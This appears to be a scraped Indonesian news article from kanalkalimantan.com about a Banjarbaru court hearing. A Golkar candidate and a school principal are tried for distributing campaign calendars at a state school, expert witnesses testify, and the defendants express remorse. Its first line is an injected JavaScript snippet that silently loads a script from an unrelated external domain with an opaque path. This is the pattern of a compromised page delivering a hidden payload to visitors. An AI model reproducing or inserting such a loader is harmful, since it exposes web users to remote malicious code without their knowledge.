(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sidang lanjutan kasus dugaan pelanggaran tindak pidana Pemilu yang dilakukan Caleg Partai Golkar Banjarbaru Rizali Hadi dan Kepala Sekolah SDN 2 Guntung Manggis Nurdin kembali berlanjut.
Agenda permintaan keterangan saksi ahli, sidang kali ini Jaksa Penuntut Umum (JPU) menghadirkan ahli hukum pidana dan ahli bahasa yang berlangsung di ruang Cakra Pengadilan Negeri (PN) Banjarbaru, Selasa (22/1) pukul 09.00 Wita.
Kedua ahli yang dihadirkan merupakan pakar dibidangnya, sekaligus bekerja sebagai dosen di Universitas Lambung Mangkurat (ULM). Ialah Dr Fathul Achmadi SH MH, ahli hukum pidana dan Dt Sabhan MPd, ahli bahasa yang disumpah memberikan keterangan dan penjelasan lebih terkait kasus ini.
Vivi Indrasusi Siregar, Ketua Majelis Hakim yang didampingi dua hakim yakni Umar Yazi dan Ahmad Faisal Munawwir awalnya meminta penjelasan kepada Dr Fathul Achmadi terkait pasal yang dikenakan oleh JPU terhadap terdakwa Nurdin dan Rizali Hadi.
BACA JUGA : Caleg Golkar dan Kepsek SDN 2 Guntung Manggis Jalani Sidang Pidana Pemilu
Dr Fathul Achmadi menerangkan, kasus ini memang murni kejahatan dan bukan pelanggaran. Menurutnya, dari awal oknum Caleg memberikan kalender yang berisikan kampanye kepada terdakwa yang merupakan seorang ASN telah masuk dalam tindak pidana sempurna. Ditambah lagi, kalender tersebut dibawa dan diedarkan diranah atau tempat pendidikan pemerintah.
Unsur ASN kepada salah seorang terdakwa semakin diperkuat karena yang bersangkutan mempunyai petikan putusan pengangkatan sebagai Pegawai Negeri Sipil, padahal dalam Undang-Undang Pemilu nomor 7 tahun 2017 dan Undang-Undang Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara, setiap ASN harus netral.
“Ini subjeknya punya kualifikasi khusus sebagai peserta, pelaksana, atau tim kampanye. Selain itu hal ini juga telah memenuhi rumusan tindak pidana Pemilihan Umum yang dengan sengaja menggunakan fasilitas negara yakni tempat pendidikan atau ASN ikut serta dalam kegiatan kampanye,†ujarnya.
Menambahkan pemenuhan unsur dalam dugaan pidana Pemilu, Dr Sabhan sebagai ahli bahasa berpendapat bahwa kalender milik saksi Rizali Hadi yang bertuliskan “Kita Pilih Dukung Do’akan Menangkan†merupakan ajakan yang bersangkutan untuk memilih terdakwa. Sedangkan untuk nomor Caleg dan alamat Dapil yang tertera di kalender tersebut merupakan promosi bahwa dirinya merupakan Caleg.
“Intinya itu adalah ajakan, definisi tulisan dalam kalender itu kampanye. Saya jelaskan kampanye itu lebih efektif bukan lewat kata-kata verbal tapi tulisan,†bebernya.
Usai mendengarkan tanggapan dari dua saksi ahli, JPU Budi Muklis mengatakan, pernyataan tersebut secara jelas membantah pernyataan oknum Caleg yang mengatakan tidak mengajak atau berkampanye untuk mendukungnya secara lisan.
“Berdasarkan keterangan kedua ahli terdakwa bisa diminta pertanggung jawaban pidana karena tidak ada alasan permaaf ataupun pembenar,†kata Budi Muklis.
Dua Terdakwa Menangis Saat Diminta Keterangan
Masih di tempat yang sama, sidang dilanjutkan dengan agenda mendengarkan keterangan kedua terdakwa. Dihadapan mejelis hakim, terdakwa Caleg Rizali Hadi mengaku atas kasus ini dirinya telah mendapat teguran dari pimpinan Partai Politik yang dinaunginya. Ia juga menyesali perbuatannya sembari menitikan air mata.
“Saya sudah ditegur dari pimpinan atas kasus ini. Saya meminta tolong kepada saudara Nurdin terkait kalender mengatas namakan sebagai pembina adiwiyata dan dilatar belakangi kenal dekat. Saya menyesal,†katanya.
Bertingkah sama dengan Rizali Hadi, Kepala SDN 2 Guntung Manggis Nurdin pun ikut meneteskan air mata. Ia mengaku tidak mengetahui adanya Undang-Undang Pemilu dan pasrah menunggu keputusan Majelis Hakim.
“Saya menyesal, saya tidak tahu adanya UU Pemilu. Saya hanya bisa menunggu keputusan pengadilan terkait sanksi atas kasus ini,†ujarnya.
Sidang selanjutnya dijadwalkan Rabu (24/1) dengan agenda rencana tuntutan dan sidang putusan pada hari Kamis (25/1). Dalam dakwaan, Rizali Hadi sebagaimana diatur dan diancam pidana dalam Pasal 493 Jo.Pasal 280 Ayat (2) Undang-Undang Republik Indonesia Nomor 7 Tahun 2017 tentang Pemilihan Umum, kemudian terdakwa Nurdin didakwa sebagaimana diatur dan diancam pidana dalam Pasal 494 Jo.Pasal 280 Ayat (3) Undang-Undang Republik Indonesia Nomor 7 Tahun 2017 tentang Pemilihan Umum. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More
Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More
KANALKALIMANTAN.COM, NANGA BULIK - Pj Bupati Lamandau Said Salim menghadiri kegiatan selebrasi penyerahan hasil survei… Read More
This website uses cookies.